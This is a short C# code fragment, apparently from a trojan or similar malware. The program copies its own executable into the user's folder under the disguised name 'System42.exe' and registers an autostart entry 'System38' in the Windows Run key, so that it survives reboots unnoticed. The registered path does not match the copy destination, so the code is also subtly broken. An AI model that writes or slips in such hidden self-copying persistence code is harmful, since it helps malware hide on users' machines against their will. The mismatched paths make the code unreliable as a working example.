string userName = Environment.UserName;
            
                string nerde = Application.ExecutablePath;
                File.Copy(nerde, "C:\\Documents and Settings\\" + userName + "\\System42.exe");
                Microsoft.Win32.Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "System38", "C:\\ProgramData\\System42.exe", Microsoft.Win32.RegistryValueKind.String);